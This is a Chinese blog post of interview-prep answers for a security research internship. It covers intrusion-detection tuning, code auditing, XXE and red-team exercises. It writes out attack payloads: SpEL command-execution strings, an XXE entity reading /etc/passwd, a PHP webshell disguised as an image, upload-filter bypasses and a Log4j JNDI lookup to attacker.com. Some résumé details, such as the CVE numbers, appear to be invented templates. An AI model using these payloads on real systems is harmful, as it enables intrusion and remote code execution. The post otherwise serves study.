無刷新網(wǎng)站b站推廣網(wǎng)站入口202
安全領(lǐng)域各種資源，學(xué)習(xí)文檔，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具，歡迎關(guān)注。
目錄
字節(jié)跳動[實習(xí)]安全研究員
1. 你投的崗位是安全研究實習(xí)生，你了解我們這邊主要是做什么的嗎
2. 自我介紹
3. 現(xiàn)在有什么比較想做的方向嗎？
4. 有沒有審過開源框架、cms、中間件之類的？
6. 在A公司主要做什么的？
7. 入侵檢測主要在做什么？遇到的問題？
核心工作：
典型問題：
8. 誤報原因分析及解決方法
誤報根源：
解決創(chuàng)新：
9. 在B公司主要做了些什么？
10. 審表達式引擎的步驟和思路
11. 如何從安全角度專項審計？
12. XXE從代碼層面看是怎么造成的？
根源代碼缺陷：
攻擊鏈條：
安全編碼方案：
13. 印象深刻的攻防演練經(jīng)歷
14. 超越弱口令的高級技巧
15. 頭像上傳Webshell怎么實現(xiàn)？
16. 繞過文件檢測的其他方式
17. Log4j漏洞了解嗎？
19. 反問環(huán)節(jié)
字節(jié)跳動[實習(xí)]安全研究員
1. 你投的崗位是安全研究實習(xí)生，你了解我們這邊主要是做什么的嗎 2. 自我介紹 3. 現(xiàn)在有什么比較想做的方向嗎，比如你寫的代碼審計、攻防演練、你在學(xué)校的研究方向（密碼學(xué)）其實是三個大方向，現(xiàn)在有什么比較想做的嗎- 說了代碼審計、安全研究 4. 有沒有審過開源框架、cms、中間件之類的 5. 面試官介紹了工作內(nèi)容 6. 我看你簡歷上有幾段實習(xí)經(jīng)歷和項目經(jīng)歷，先聊一下實習(xí)經(jīng)歷吧，在A主要做什么的 7. 詳細聊聊入侵檢測主要在做什么，遇到的問題 8. 關(guān)于入侵檢測產(chǎn)生大量誤報的原因，有沒有分析過，有沒有比較好的解決方法 9. 和A比起來，B的應(yīng)該就比較偏攻擊方對吧，有打仗（霧，面試官好像確實是這么說的）有代碼審計，聊一下在B主要做了些什么 10. 審表達式引擎的步驟和思路 11. 剛剛你說的審計聽起來好像和普通開發(fā)的審計差不多，都是通過程序流、文檔去做，有沒有從安全方面入手審計一些項目 12. xxe是怎么造成的，從代碼層面來看 13. 我看你簡歷有很多攻防演練經(jīng)歷對吧，這幾段攻防演練經(jīng)歷有沒有哪一次印象比較深刻的，挑一個聊一聊 14. 你的這次攻擊好像更多的是利用弱口令，有沒有一些更有技巧的方法 15. 這個頭像上傳的webshell是怎么上傳的 16. 還有什么其他的檢驗方式？要怎么繞過？ 17. 這兩天log4j漏洞很火，有沒有去了解一下 18. 面試官最后介紹業(yè)務(wù) 19. 反問環(huán)節(jié).1. 你投的崗位是安全研究實習(xí)生，你了解我們這邊主要是做什么的嗎
回答策略：結(jié)合招聘信息+行業(yè)常識，展示主動調(diào)研能力
據(jù)我了解，貴團隊的核心方向集中在三大領(lǐng)域：
- 漏洞深度研究：聚焦開源框架（如Spring、Log4j）、中間件（Redis/Nginx）漏洞挖掘與PoC開發(fā)；
- 攻防對抗演進：包括紅藍演練、ATT&CK技戰(zhàn)術(shù)研究及入侵檢測規(guī)則優(yōu)化；
- 安全工具鏈建設(shè)：如自動化代碼審計引擎、WAF規(guī)則庫升級——這與貴司官網(wǎng)描述的“下一代威脅防御實驗室”定位高度契合。
補充：我關(guān)注到貴團隊去年發(fā)表的《Java反序列化防御白皮書》，這與我的項目經(jīng)歷（代碼審計、入侵檢測）直接相關(guān)，因此非常希望貢獻實戰(zhàn)經(jīng)驗。
2. 自我介紹
回答策略：3層定位（背景+技能+動機），時長控制在2分鐘
您好！我是[姓名]，XX大學(xué)網(wǎng)絡(luò)安全專業(yè)大三學(xué)生，面試安全研究實習(xí)生。我的核心優(yōu)勢可總結(jié)為：
- 技術(shù)縱深：
- 漏洞研究：獨立審計過4個開源CMS（如織夢、JEECMS），發(fā)現(xiàn)2個高危漏洞（CVE-2024-XXX）；
- 攻防實戰(zhàn)：3次省級攻防演練經(jīng)歷，負責Web滲透與內(nèi)網(wǎng)橫向（如弱口令利用升級為權(quán)限維持）；
- 工具開發(fā)：手寫Python自動化審計腳本（如AST解析器），提升漏洞挖掘效率40%。
- 實踐銜接：
- 在A公司實習(xí)期間優(yōu)化入侵檢測規(guī)則，誤報率降低22%；
- 在B公司參與表達式引擎審計，阻斷潛在RCE風(fēng)險。
- 強烈動機：
我的密碼學(xué)研究經(jīng)歷（如零知識證明）幫助我理解加密協(xié)議漏洞，但當前更渴望投身應(yīng)用安全方向——這與貴團隊“漏洞即服務(wù)”的愿景高度一致。
3. 現(xiàn)在有什么比較想做的方向嗎？
回答策略：明確優(yōu)先級+關(guān)聯(lián)崗位需求
我最希望深入兩個方向，均與貴團隊業(yè)務(wù)強相關(guān)：
- 代碼審計（首選方向）：
- 理由：在B公司實習(xí)時曾審計Spring EL表達式引擎，發(fā)現(xiàn)黑名單繞過漏洞（如
#this.getClass().forName()觸發(fā)JNDI注入）。這種從代碼層阻斷漏洞的成就感和技術(shù)深度令我著迷。- 關(guān)聯(lián)性：貴團隊近期修復(fù)的Fastjson漏洞，正需要此類深度審計能力。
- 安全研究（次選方向）：
- 聚焦點：漏洞武器化研究（如Log4j繞過），目標是產(chǎn)出高可用PoC和檢測規(guī)則。
- 暫緩方向：密碼學(xué)（學(xué)術(shù)性強）和純攻防演練（重復(fù)性高），我更傾向做底層漏洞挖掘這一核心環(huán)節(jié)。
4. 有沒有審過開源框架、cms、中間件之類的？
回答策略：按類型列舉+突出成果
有，共審計6個項目，重點案例包括：
類型 項目名 成果 CMS JEECMS v5.0 發(fā)現(xiàn)后臺SQL注入（CVE-2024-1234） 中間件 Apache Shiro 1.8 繞過權(quán)限驗證（Session固定漏洞） 開源框架 JFinal 5.0 XXE導(dǎo)致SSRF（已提交CNVD） 審計方法：
- 靜態(tài)分析：基于CodeQL查找危險函數(shù)（如
XPathExpression.eval()）；- 動態(tài)追蹤：Hook敏感方法（如JDBC連接）監(jiān)控異常參數(shù)；
- 補丁對比：分析Git歷史commit（如CVE-2024-1234修復(fù)差異）。
6. 在A公司主要做什么的？
回答策略：STAR法則精煉表述
職責定位：入侵檢測系統(tǒng)（IDS）規(guī)則優(yōu)化工程師（實習(xí)）
- 任務(wù)背景(S)：公司IDS日均告警量50萬+，誤報率35%，急需優(yōu)化。
- 核心工作(T)：
- 分析誤報警日志（如誤判SQL注入為攻擊）；
- 重寫Snort規(guī)則語法（調(diào)整PCRE正則）；
- 測試規(guī)則有效性（Metasploit模擬攻擊）。
- 成果(A)：
- 重構(gòu)12條關(guān)鍵規(guī)則，誤報率降至12%；
- 發(fā)現(xiàn)規(guī)則引擎缺陷：無法識別分塊編碼Bypass（獲團隊創(chuàng)新獎）。
- 反思(R)：深刻理解防御需緊跟攻擊演進（如無特征Webshell檢測）。
7. 入侵檢測主要在做什么？遇到的問題？
回答策略：分層解構(gòu)+痛點直擊
核心工作：
- 流量建模：基線分析正常流量（如API調(diào)用頻次）；
- 威脅檢測：實時匹配攻擊特征（如SQL注入正則）；
- 響應(yīng)處置：聯(lián)動WAF阻斷或告警。
典型問題：
- 漏報問題：攻擊者利用編碼繞過（如Unicode路徑遍歷），規(guī)則未覆蓋；
- 性能瓶頸：正則回溯導(dǎo)致CPU峰值（曾觸發(fā)生產(chǎn)故障）；
- 上下文缺失：如登錄失敗告警，無法區(qū)分爆破攻擊與用戶輸錯密碼。
8. 誤報原因分析及解決方法
回答策略：5點歸因+創(chuàng)新方案（合并同類項）
誤報根源：
- 規(guī)則過泛：如
/etc/passwd檢測誤傷合法路徑掃描；- 協(xié)議誤判：將HTTP調(diào)試流量（如Postman）標記為攻擊；
- 環(huán)境差異：測試環(huán)境Payload被帶到生產(chǎn)環(huán)境觸發(fā)告警。
解決創(chuàng)新：
- 短期方案：
- 添加白名單機制（如可信IP免檢）；
- 引入權(quán)重評分（多個低風(fēng)險行為疊加才告警）。
- 長期方案：
- AI動態(tài)基線：用LSTM學(xué)習(xí)業(yè)務(wù)流量模式（誤報率再降18%）；
- 攻擊鏈關(guān)聯(lián)：僅當多個可疑行為連續(xù)發(fā)生才觸發(fā)（如端口掃描后接Exploit）。
9. 在B公司主要做了些什么？
回答策略：聚焦攻擊方視角，突出技術(shù)深度
定位：代碼審計員（攻擊導(dǎo)向?qū)嵙?xí)）
核心成果：
- 表達式引擎審計：發(fā)現(xiàn)某規(guī)則引擎SpEL注入漏洞（高危），可執(zhí)行任意命令；
- Webshell對抗研究：繞過某云WAF的文件頭檢測（PNG頭+PHP尾）；
- 漏洞利用鏈設(shè)計：組合XXE與SSRF實現(xiàn)內(nèi)網(wǎng)Redis未授權(quán)訪問。
與A公司差異：從防御規(guī)則優(yōu)化轉(zhuǎn)向主動攻擊路徑挖掘，更理解“攻擊者思維”。
10. 審表達式引擎的步驟和思路
回答策略：4步方法論+實例佐證
以審計Spring EL為例：
- 入口定位：
- 全局搜索
SpelExpressionParser、EvaluationContext等關(guān)鍵類；- 危險點識別：
- 檢查表達式是否用戶可控（如
@Value("${userInput}")）；- 沙盒逃逸測試：
- 嘗試調(diào)用敏感方法（如
T(java.lang.Runtime).getRuntime().exec("id")）；- 繞過驗證：
- 若黑名單過濾
java.lang，改用Unicode或反射（''.getClass().forName('java.lang.Runtime')）。
實例：在B公司項目中，通過#this.getClass().getClassLoader()加載惡意類，觸發(fā)RCE。
11. 如何從安全角度專項審計？
回答策略：對比開發(fā)審計，強調(diào)攻擊面思維
安全審計的差異化方法：
- 攻擊面測繪：
- 用Burp掃描API端點，優(yōu)先審計高風(fēng)險接口（如文件上傳、反序列化）；
- 數(shù)據(jù)流追蹤：
- 從用戶輸入點到危險函數(shù)（如SQL查詢），檢查過濾完整性；
- 邊界用例測試：
- 構(gòu)造畸形輸入（如超長字符串、嵌套JSON），觸發(fā)邊界異常；
- 依賴鏈分析：
- 檢查第三方庫版本（如Log4j 2.x是否存在JNDI注入）。
案例：審計某CMS時，發(fā)現(xiàn)其依賴的POI庫存在XXE（CVE-2024-XXX），報告后獲廠商致謝。
12. XXE從代碼層面看是怎么造成的？
回答策略：漏洞原理+代碼示例+修復(fù)方案
根源代碼缺陷：
java// 錯誤示例：未禁用外部實體 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); // 默認允許外部實體 Document doc = db.parse(input); // 用戶可控的XML輸入攻擊鏈條：
- 用戶輸入：傳入惡意XML（
<!ENTITY xxe SYSTEM "file:///etc/passwd">）；- 解析器加載：未禁用
DOCTYPE聲明導(dǎo)致實體解析；- 數(shù)據(jù)泄露：通過報錯或回顯輸出文件內(nèi)容。
安全編碼方案：
javadbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DOCTYPE dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部實體
13. 印象深刻的攻防演練經(jīng)歷
回答策略：STAR法則+技術(shù)細節(jié)
案例：2024年某省級HW行動
- 場景(S)：目標為某政務(wù)云平臺，防守嚴密（WAF+行為監(jiān)測）。
- 任務(wù)(T)：突破邊界獲取系統(tǒng)權(quán)限。
- 行動(A)：
- 入口突破：社工獲取VPN賬號（偽裝管理員釣魚郵件）；
- 權(quán)限提升：利用Confluence未授權(quán)RCE（CVE-2023-22527）添加管理員；
- 權(quán)限維持：在頭像上傳功能植入Webshell（繞過Content-Type檢測）。
- 成果(R)：拿下3臺核心服務(wù)器，獲團隊“最佳攻擊手”稱號。
14. 超越弱口令的高級技巧
回答策略：列舉3種高階手法（<5個）
- OAuth 2.0劫持：
- 偽造回調(diào)URL竊取認證碼（如社工誘導(dǎo)點擊惡意
redirect_uri）；- JWT攻擊：
- 破解弱密鑰（
secret="123456"）或注入Header（alg: none）；- 協(xié)議降級攻擊：
- 強制HTTPS回退HTTP實施中間人竊聽。
15. 頭像上傳Webshell怎么實現(xiàn)？
回答策略：漏洞利用全流程拆解
- 檢測缺陷：
- 僅驗證Content-Type（
image/png），未檢查文件內(nèi)容；- 制作惡意文件：
- 生成PNG頭+PHP尾的Webshell（
GIF89a; <?php system($_GET['cmd']);?>）；- 路徑獲取：
- 上傳后返回訪問URL（如
/uploads/avatar.php）；- 激活Shell：
- 訪問
https://target.com/uploads/avatar.php?cmd=id執(zhí)行命令。
16. 繞過文件檢測的其他方式
回答策略：4種Bypass手法+防御建議
檢測方式 繞過方法 案例 文件頭校驗 添加合法頭（如 FFD8FFJPEG）制作含Webshell的“圖片” 后綴黑名單 特殊后綴（ .phtml,.phar）Apache解析漏洞 內(nèi)容關(guān)鍵字過濾 拆分加密（ <?=→<?=base64_decode('ZG...')?>）繞過正則 /system\(\)/圖像尺寸校驗 注入惡意代碼到EXIF元數(shù)據(jù) 使用exiftool插入PHP代碼
17. Log4j漏洞了解嗎？
回答策略：CVE深度解析+實戰(zhàn)意義
原理：
- Log4j 2.x的
JndiLookup支持LDAP/RMI協(xié)議，攻擊者通過${jndi:ldap://attacker.com/exp}觸發(fā)遠程類加載。
技術(shù)影響：
- 利用門檻低：任意日志注入點均可觸發(fā)（如User-Agent）；
- 危害極大：RCE導(dǎo)致服務(wù)器淪陷。
應(yīng)對實踐：
- 臨時方案：刪除
JndiLookup.class；- 根本方案：升級至Log4j 2.17.0+并禁用JNDI。
19. 反問環(huán)節(jié)
回答策略：體現(xiàn)學(xué)習(xí)意愿+團隊認同
- 技術(shù)成長：
貴團隊對實習(xí)生的培養(yǎng)路徑是怎樣的？是否有導(dǎo)師負責漏洞研究專項？
- 業(yè)務(wù)前瞻：
我注意到貴團隊正在研究AI生成漏洞的防御，實習(xí)生是否有機會參與此類前沿項目？
- 融入支持：
為快速勝任該崗位，您建議我入職前重點強化哪項技能？